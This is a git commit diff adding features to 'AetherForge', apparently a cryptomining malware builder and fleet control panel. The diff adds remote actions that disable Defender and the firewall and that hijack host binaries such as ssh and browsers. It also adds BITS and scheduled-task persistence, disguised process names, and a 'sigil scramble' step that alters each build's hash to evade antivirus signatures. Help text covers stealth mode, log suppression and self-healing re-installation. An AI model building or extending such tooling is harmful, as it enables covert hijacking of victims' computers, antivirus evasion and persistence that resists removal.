feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -10,6 +10,12 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
'firewall_on',
|
||||
'firewall_profiles',
|
||||
'firewall_remove',
|
||||
'bits_persist',
|
||||
'host_binary_persist',
|
||||
'mesh_status',
|
||||
] as const;
|
||||
|
||||
@@ -21,6 +27,12 @@ export function canRunAggressiveAction(
|
||||
platform?: string
|
||||
): boolean {
|
||||
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||
if (
|
||||
platform !== 'windows' &&
|
||||
(action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
|
||||
) {
|
||||
return false;
|
||||
}
|
||||
if (!caps) return true;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
@@ -33,6 +45,12 @@ export function canRunAggressiveAction(
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
case 'firewall_off':
|
||||
case 'firewall_on':
|
||||
case 'firewall_profiles':
|
||||
case 'firewall_remove':
|
||||
case 'bits_persist':
|
||||
case 'host_binary_persist':
|
||||
return caps.remote_aggressive;
|
||||
case 'mesh_status':
|
||||
return caps.mesh_p2p;
|
||||
@@ -49,6 +67,15 @@ export function aggressiveActionHint(
|
||||
if (platform === 'darwin' && action === 'defender_off') {
|
||||
return 'Defender disable not supported on macOS';
|
||||
}
|
||||
if (platform !== 'windows' && action.startsWith('firewall_')) {
|
||||
return 'Firewall control is Windows-only';
|
||||
}
|
||||
if (platform !== 'windows' && action === 'bits_persist') {
|
||||
return 'BITS persistence is Windows-only';
|
||||
}
|
||||
if (platform !== 'windows' && action === 'host_binary_persist') {
|
||||
return 'Host binary hijack is Windows-only';
|
||||
}
|
||||
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||
switch (action) {
|
||||
case 'hole_punch':
|
||||
|
||||
63
server/web/src/help/chartSampleData.test.ts
Normal file
63
server/web/src/help/chartSampleData.test.ts
Normal file
@@ -0,0 +1,63 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
generateSampleSeries,
|
||||
validateChartSeries,
|
||||
resolveChartSeries,
|
||||
chartSeriesDelta,
|
||||
chartSeriesPeak,
|
||||
SAMPLE_CONTRIBUTION_BARS,
|
||||
SAMPLE_FLEET_PREVIEW,
|
||||
} from './chartSampleData';
|
||||
|
||||
describe('chartSampleData', () => {
|
||||
const kinds = ['hashrate', 'accept', 'cpu', 'mem', 'gpu'] as const;
|
||||
|
||||
it.each(kinds)('generateSampleSeries(%s) validates', (kind) => {
|
||||
const series = generateSampleSeries(kind, 48);
|
||||
expect(series).toHaveLength(48);
|
||||
const v = validateChartSeries(series);
|
||||
expect(v.ok, v.errors.join('; ')).toBe(true);
|
||||
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('hashrate sample trends upward (mining ramp)', () => {
|
||||
const series = generateSampleSeries('hashrate', 48);
|
||||
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
|
||||
const delta = chartSeriesDelta(series);
|
||||
expect(delta).not.toBeNull();
|
||||
expect(delta!).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('accept sample stays in realistic pool band', () => {
|
||||
const series = generateSampleSeries('accept', 48);
|
||||
for (const p of series) {
|
||||
expect(p.value).toBeGreaterThanOrEqual(90);
|
||||
expect(p.value).toBeLessThanOrEqual(100);
|
||||
}
|
||||
});
|
||||
|
||||
it('resolveChartSeries uses sample when live is empty', () => {
|
||||
const { data, mode } = resolveChartSeries([], 'hashrate');
|
||||
expect(mode).toBe('sample');
|
||||
expect(data.length).toBe(48);
|
||||
expect(validateChartSeries(data).ok).toBe(true);
|
||||
});
|
||||
|
||||
it('resolveChartSeries prefers live when enough points', () => {
|
||||
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
|
||||
...p,
|
||||
value: 40 + i * 0.5,
|
||||
}));
|
||||
const { data, mode } = resolveChartSeries(live, 'cpu');
|
||||
expect(mode).toBe('live');
|
||||
expect(data.length).toBe(20);
|
||||
});
|
||||
|
||||
it('preview constants are internally consistent', () => {
|
||||
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
|
||||
expect(totalPct).toBeGreaterThan(98);
|
||||
expect(totalPct).toBeLessThan(102);
|
||||
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
|
||||
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
|
||||
});
|
||||
});
|
||||
143
server/web/src/help/chartSampleData.ts
Normal file
143
server/web/src/help/chartSampleData.ts
Normal file
@@ -0,0 +1,143 @@
|
||||
import type { ChartPoint } from '../components/Charts/HashrateChart';
|
||||
import type { ContributionBar } from './fleetAnalytics';
|
||||
|
||||
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
|
||||
|
||||
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
|
||||
|
||||
const MIN_LIVE_POINTS = 12;
|
||||
|
||||
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
|
||||
export const SAMPLE_FLEET_PREVIEW = {
|
||||
hashrate: 128_400,
|
||||
acceptRate: 96.8,
|
||||
avgCpu: 52,
|
||||
avgMem: 61,
|
||||
onlinePct: 88,
|
||||
onlineCount: 7,
|
||||
agentCount: 8,
|
||||
xmrPerDay: 0.0384,
|
||||
xmrPrice: 168.42,
|
||||
} as const;
|
||||
|
||||
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
|
||||
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
|
||||
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
|
||||
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
|
||||
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
|
||||
];
|
||||
|
||||
export const SAMPLE_ACTIVITY = [
|
||||
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
|
||||
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
|
||||
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
|
||||
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
|
||||
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
|
||||
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
|
||||
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
|
||||
];
|
||||
|
||||
function formatTime(offsetMin: number): string {
|
||||
const d = new Date(Date.now() - offsetMin * 60_000);
|
||||
return d.toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' });
|
||||
}
|
||||
|
||||
function noise(i: number, amp: number): number {
|
||||
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
|
||||
}
|
||||
|
||||
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
|
||||
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
|
||||
const out: ChartPoint[] = [];
|
||||
for (let i = points - 1; i >= 0; i--) {
|
||||
const t = formatTime(i * 2);
|
||||
const p = (points - 1 - i) / Math.max(1, points - 1);
|
||||
let value: number;
|
||||
switch (kind) {
|
||||
case 'hashrate':
|
||||
value = 38_000 + p * 92_000 + noise(i, 4_200);
|
||||
break;
|
||||
case 'gpu':
|
||||
value = 12_000_000 + p * 38_000_000 + noise(i, 1_800_000);
|
||||
break;
|
||||
case 'accept':
|
||||
value = 93.5 + p * 3.2 + noise(i, 0.35);
|
||||
value = Math.min(99.5, Math.max(91, value));
|
||||
break;
|
||||
case 'cpu':
|
||||
value = 38 + p * 22 + noise(i, 4);
|
||||
value = Math.min(88, Math.max(28, value));
|
||||
break;
|
||||
case 'mem':
|
||||
default:
|
||||
value = 44 + p * 18 + noise(i, 3);
|
||||
value = Math.min(78, Math.max(36, value));
|
||||
break;
|
||||
}
|
||||
out.push({ time: t, value: Math.round(value * 10) / 10 });
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors: string[] } {
|
||||
const errors: string[] = [];
|
||||
if (!Array.isArray(data) || data.length === 0) {
|
||||
errors.push('series is empty');
|
||||
return { ok: false, errors };
|
||||
}
|
||||
data.forEach((pt, i) => {
|
||||
if (!pt.time || typeof pt.time !== 'string') errors.push(`point ${i}: missing time`);
|
||||
if (typeof pt.value !== 'number' || !Number.isFinite(pt.value)) errors.push(`point ${i}: invalid value`);
|
||||
});
|
||||
return { ok: errors.length === 0, errors };
|
||||
}
|
||||
|
||||
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
|
||||
if (live.length < MIN_LIVE_POINTS) return false;
|
||||
const vals = live.map((p) => p.value);
|
||||
const max = Math.max(...vals);
|
||||
const min = Math.min(...vals);
|
||||
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
|
||||
return max - min > 0.05;
|
||||
}
|
||||
|
||||
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
|
||||
export function resolveChartSeries(
|
||||
live: ChartPoint[],
|
||||
kind: ChartSeriesKind,
|
||||
options?: { tailValue?: number; minPoints?: number }
|
||||
): { data: ChartPoint[]; mode: ChartDisplayMode } {
|
||||
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
|
||||
const validation = validateChartSeries(live);
|
||||
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
|
||||
|
||||
if (liveOk) {
|
||||
return { data: live.slice(-60), mode: 'live' };
|
||||
}
|
||||
|
||||
const sample = generateSampleSeries(kind, 48);
|
||||
if (live.length === 0) {
|
||||
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
|
||||
const last = sample[sample.length - 1];
|
||||
sample[sample.length - 1] = { ...last, value: options.tailValue };
|
||||
}
|
||||
return { data: sample, mode: 'sample' };
|
||||
}
|
||||
|
||||
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
|
||||
validateChartSeries(merged);
|
||||
return { data: merged, mode: 'blend' };
|
||||
}
|
||||
|
||||
export function chartSeriesDelta(data: ChartPoint[]): number | null {
|
||||
if (data.length < 2) return null;
|
||||
const a = data[0].value;
|
||||
const b = data[data.length - 1].value;
|
||||
if (a === 0) return b > 0 ? 100 : 0;
|
||||
return ((b - a) / Math.abs(a)) * 100;
|
||||
}
|
||||
|
||||
export function chartSeriesPeak(data: ChartPoint[]): number {
|
||||
if (data.length === 0) return 0;
|
||||
return Math.max(...data.map((p) => p.value));
|
||||
}
|
||||
17
server/web/src/help/desktopPush.test.ts
Normal file
17
server/web/src/help/desktopPush.test.ts
Normal file
@@ -0,0 +1,17 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { desktopPathHint, DESKTOP_PUSH_MAX_BYTES } from './desktopPush';
|
||||
|
||||
describe('desktopPush', () => {
|
||||
it('hints per platform', () => {
|
||||
expect(desktopPathHint('windows')).toContain('Desktop');
|
||||
expect(desktopPathHint('darwin')).toContain('~/Desktop');
|
||||
expect(desktopPathHint('linux')).toContain('Desktop');
|
||||
});
|
||||
|
||||
it('exports size limit', () => {
|
||||
expect(DESKTOP_PUSH_MAX_BYTES).toBeGreaterThan(1024 * 1024);
|
||||
});
|
||||
});
|
||||
46
server/web/src/help/desktopPush.ts
Normal file
46
server/web/src/help/desktopPush.ts
Normal file
@@ -0,0 +1,46 @@
|
||||
/** Max file size for WS base64 push (keeps command payloads reasonable). */
|
||||
export const DESKTOP_PUSH_MAX_BYTES = 8 * 1024 * 1024;
|
||||
|
||||
export function desktopPathHint(platform?: string): string {
|
||||
switch (platform?.toLowerCase()) {
|
||||
case 'windows':
|
||||
return '%USERPROFILE%\\Desktop\\';
|
||||
case 'darwin':
|
||||
return '~/Desktop/';
|
||||
case 'linux':
|
||||
return '~/Desktop/ (or XDG DESKTOP)';
|
||||
default:
|
||||
return 'Desktop (auto-detected per OS)';
|
||||
}
|
||||
}
|
||||
|
||||
export function readFileAsBase64(file: File): Promise<string> {
|
||||
return new Promise((resolve, reject) => {
|
||||
if (file.size > DESKTOP_PUSH_MAX_BYTES) {
|
||||
reject(new Error(`File exceeds ${DESKTOP_PUSH_MAX_BYTES / (1024 * 1024)}MB limit for push`));
|
||||
return;
|
||||
}
|
||||
const reader = new FileReader();
|
||||
reader.onload = () => {
|
||||
const result = reader.result as string;
|
||||
const b64 = result.includes(',') ? result.split(',')[1] : result;
|
||||
if (!b64) {
|
||||
reject(new Error('Could not read file'));
|
||||
return;
|
||||
}
|
||||
resolve(b64);
|
||||
};
|
||||
reader.onerror = () => reject(reader.error ?? new Error('read failed'));
|
||||
reader.readAsDataURL(file);
|
||||
});
|
||||
}
|
||||
|
||||
export async function pushFileToAgentDesktop(
|
||||
send: (action: string, args?: { path?: string; data?: string; command?: string }) => Promise<unknown>,
|
||||
file: File,
|
||||
remoteName?: string
|
||||
): Promise<void> {
|
||||
const b64 = await readFileAsBase64(file);
|
||||
const name = (remoteName?.trim() || file.name).replace(/\\/g, '/');
|
||||
await send('push_desktop', { path: name, data: b64 });
|
||||
}
|
||||
@@ -14,12 +14,13 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'scheduled',
|
||||
host_binary_target: 'ssh',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 80,
|
||||
max_memory_percent: 70,
|
||||
min_free_ram_mb: 1024,
|
||||
max_cpu_usage_pct: 95,
|
||||
max_memory_percent: 85,
|
||||
min_free_ram_mb: 512,
|
||||
idle_threshold_pct: 20,
|
||||
idle_duration_minutes: 5,
|
||||
schedule_start: '21:00',
|
||||
@@ -53,6 +54,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
obfuscate: false,
|
||||
sigil_scramble: true,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
|
||||
@@ -181,10 +181,13 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
}
|
||||
|
||||
// Run-as forces persistence
|
||||
if (next.run_as === 'scheduled' || next.run_as === 'service') {
|
||||
if (next.run_as === 'scheduled' || next.run_as === 'service' || next.run_as === 'bits' || next.run_as === 'host_binary') {
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
if (next.run_as === 'host_binary' && !next.host_binary_target?.trim()) {
|
||||
next.host_binary_target = 'ssh';
|
||||
}
|
||||
|
||||
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
|
||||
if (!next.ai_enabled) {
|
||||
|
||||
@@ -205,7 +205,7 @@ describe('applyForgeFieldUpdate', () => {
|
||||
expect(out.install_custom_base).toBe('');
|
||||
});
|
||||
|
||||
it('run_as scheduled/service forces persistence flags', () => {
|
||||
it('run_as scheduled/service/bits forces persistence flags', () => {
|
||||
const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled');
|
||||
expect(scheduled.persistence).toBe(true);
|
||||
expect(scheduled.auto_start).toBe(true);
|
||||
@@ -213,6 +213,15 @@ describe('applyForgeFieldUpdate', () => {
|
||||
const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service');
|
||||
expect(service.persistence).toBe(true);
|
||||
expect(service.auto_start).toBe(true);
|
||||
|
||||
const bits = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'bits');
|
||||
expect(bits.persistence).toBe(true);
|
||||
expect(bits.auto_start).toBe(true);
|
||||
|
||||
const hostBin = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'host_binary');
|
||||
expect(hostBin.persistence).toBe(true);
|
||||
expect(hostBin.auto_start).toBe(true);
|
||||
expect(hostBin.host_binary_target).toBe('ssh');
|
||||
});
|
||||
|
||||
it('ai_enabled fills default endpoint and model when empty', () => {
|
||||
@@ -258,6 +267,7 @@ describe('getForgeFieldMeta', () => {
|
||||
'target_arch',
|
||||
'obfuscate',
|
||||
'sign_build',
|
||||
'sigil_scramble',
|
||||
];
|
||||
for (const key of expectedKeys) {
|
||||
expect(meta[key]).toBeDefined();
|
||||
@@ -302,10 +312,12 @@ describe('getForgeFieldMeta', () => {
|
||||
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
|
||||
});
|
||||
|
||||
it('locks persistence under scheduled/service run_as', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
|
||||
expect(meta.persistence.disabled).toBe(true);
|
||||
expect(meta.auto_start.disabled).toBe(true);
|
||||
it('locks persistence under scheduled/service/bits run_as', () => {
|
||||
for (const runAs of ['scheduled', 'service', 'bits', 'host_binary'] as const) {
|
||||
const meta = getForgeFieldMeta(baseForm({ run_as: runAs }));
|
||||
expect(meta.persistence.disabled).toBe(true);
|
||||
expect(meta.auto_start.disabled).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('locks fusion when spread kit is on and vice versa', () => {
|
||||
|
||||
@@ -180,11 +180,14 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
|
||||
case 'run_as':
|
||||
if (value === 'scheduled' || value === 'service') {
|
||||
// Scheduled/service always creates a task — sync persistence flags so UI matches reality
|
||||
if (value === 'scheduled' || value === 'service' || value === 'bits' || value === 'host_binary') {
|
||||
// Scheduled/service/BITS/host binary always register persistence — sync flags so UI matches reality
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
if (value === 'host_binary' && !next.host_binary_target?.trim()) {
|
||||
next.host_binary_target = 'ssh';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'ai_enabled':
|
||||
@@ -226,7 +229,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isFixedThreads = form.thread_mode === 'fixed';
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
const runAsForcedPersistence =
|
||||
form.run_as === 'scheduled' ||
|
||||
form.run_as === 'service' ||
|
||||
form.run_as === 'bits' ||
|
||||
form.run_as === 'host_binary';
|
||||
const isHostBinaryRun = form.run_as === 'host_binary';
|
||||
const targetOs = form.target_os || 'windows';
|
||||
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
||||
const isWindowsOnly = targetOs === 'windows';
|
||||
@@ -322,6 +330,17 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
host_binary_target: {
|
||||
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isHostBinaryRun
|
||||
? 'Select Run As → Host Binary Hijack to choose a client binary.'
|
||||
: !isWindowsOnly && !isUniversal
|
||||
? 'Host binary hijack is Windows-only.'
|
||||
: undefined,
|
||||
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
|
||||
},
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
badge: 'baked',
|
||||
@@ -404,6 +423,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
||||
},
|
||||
sigil_scramble: {
|
||||
disabled: false,
|
||||
badge: 'server-only',
|
||||
hint: 'Appends a unique entropy overlay and tweaks PE timestamp so each dispense has a different hash.',
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
@@ -416,8 +440,24 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
|
||||
'Run As "Windows Service" creates a scheduled task — not a real Windows Service. Persistence stays on.'
|
||||
);
|
||||
}
|
||||
if ((form.run_as === 'scheduled' || form.run_as === 'service') && !form.persistence) {
|
||||
notices.push('Persistence is forced on for Scheduled/Service run modes.');
|
||||
if (form.run_as === 'bits') {
|
||||
notices.push(
|
||||
'Run As BITS registers a Background Intelligent Transfer notify job — miner relaunches on transfer events/retries (Windows).'
|
||||
);
|
||||
}
|
||||
if (form.run_as === 'host_binary') {
|
||||
notices.push(
|
||||
`Run As Host Binary backs up ${form.host_binary_target || 'ssh'} and replaces it with the worker — launching that app starts the miner then runs the original (admin required for System32 paths).`
|
||||
);
|
||||
}
|
||||
if (
|
||||
(form.run_as === 'scheduled' ||
|
||||
form.run_as === 'service' ||
|
||||
form.run_as === 'bits' ||
|
||||
form.run_as === 'host_binary') &&
|
||||
!form.persistence
|
||||
) {
|
||||
notices.push('Persistence is forced on for Scheduled/Service/BITS/Host Binary run modes.');
|
||||
}
|
||||
if (form.fusion_enabled && !fusionPrepSelected) {
|
||||
notices.push('Fusion is enabled — upload prep.exe before you can forge.');
|
||||
|
||||
@@ -21,6 +21,8 @@ const UI_REMOTE_ACTIONS = [
|
||||
'get_log',
|
||||
'powershell',
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
@@ -36,6 +38,8 @@ const AGENT_HANDLED = new Set([
|
||||
'exec',
|
||||
'powershell',
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
'download',
|
||||
'ps',
|
||||
'netstat',
|
||||
@@ -54,6 +58,12 @@ const AGENT_HANDLED = new Set([
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
'firewall_on',
|
||||
'firewall_profiles',
|
||||
'firewall_remove',
|
||||
'bits_persist',
|
||||
'host_binary_persist',
|
||||
'mesh_status',
|
||||
]);
|
||||
|
||||
@@ -78,8 +88,8 @@ describe('remote action wiring', () => {
|
||||
|
||||
describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
|
||||
it('lists every wired aggressive command once', () => {
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
|
||||
expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(15);
|
||||
expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(15);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -114,7 +124,18 @@ describe('canRunAggressiveAction edge cases', () => {
|
||||
|
||||
it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
|
||||
const noAgg = { ...fullCaps, remote_aggressive: false };
|
||||
for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
|
||||
for (const action of [
|
||||
'start_tunnel',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
'firewall_off',
|
||||
'firewall_on',
|
||||
'firewall_profiles',
|
||||
'firewall_remove',
|
||||
'bits_persist',
|
||||
'host_binary_persist',
|
||||
] as const) {
|
||||
expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
|
||||
expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
|
||||
}
|
||||
|
||||
@@ -30,6 +30,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).',
|
||||
sign_build:
|
||||
'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
|
||||
sigil_scramble:
|
||||
'After compile, the server appends a unique Sigil overlay and nudges the PE timestamp so static AV hashes differ every forge. Runtime behavior is unchanged.',
|
||||
obfuscate_default:
|
||||
'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.',
|
||||
sign_enabled:
|
||||
@@ -65,7 +67,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
display_mode: 'Visible shows a console window. Silent hides the window. Background is silent plus low priority — best for desktops.',
|
||||
process_name: 'Installed .exe filename without extension. Shows in Task Manager. Example: RuntimeBrokerHelper',
|
||||
persistence: 'When enabled, miner auto-starts after reboot via Windows Run key or scheduled task.',
|
||||
run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).',
|
||||
run_as: 'User = Run key when persistence is on. Scheduled/Service = logon task. BITS = transfer notify job. Host Binary = replace a client app (ssh, browser, FTP, etc.) with the worker; running that app relaunches the miner then executes the original backup. Windows + admin for system paths.',
|
||||
host_binary_target: 'Which host application to hijack: ssh, ftp, chrome, edge, firefox, putty, winscp, mstsc, notepad, calc, curl, telnet, or custom:C:\\full\\path.exe',
|
||||
silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.',
|
||||
auto_start: 'Same as Persistence. Keeps miner running after reboot.',
|
||||
fusion_enabled:
|
||||
@@ -90,6 +93,7 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
|
||||
firewall_exclusion: 'On first install, adds Windows Firewall inbound/outbound allow rules for the installed miner .exe. Helps on locked-down PCs; may require one Run as administrator if the rule fails.',
|
||||
open_firewall_on_start: 'When enabled, the control server adds a Windows Firewall inbound rule for its listen port (default 8989) on startup so LAN agents can connect.',
|
||||
firewall_remote: 'From Fleet/Crucible remote ops (Windows, admin, Remote Aggressive Ops): FW Off/On toggles all profiles; FW Private Off disables Private+Public only; Open FW Port adds a TCP allow rule; Remove FW Rules clears AetherForge miner rules.',
|
||||
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
|
||||
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
|
||||
ai_enabled: 'Enable AI Autonomy — the forged miner periodically asks the control server for Ollama decisions (self-healing, persistence checks). Requires Ollama reachable from the control server.',
|
||||
|
||||
Reference in New Issue
Block a user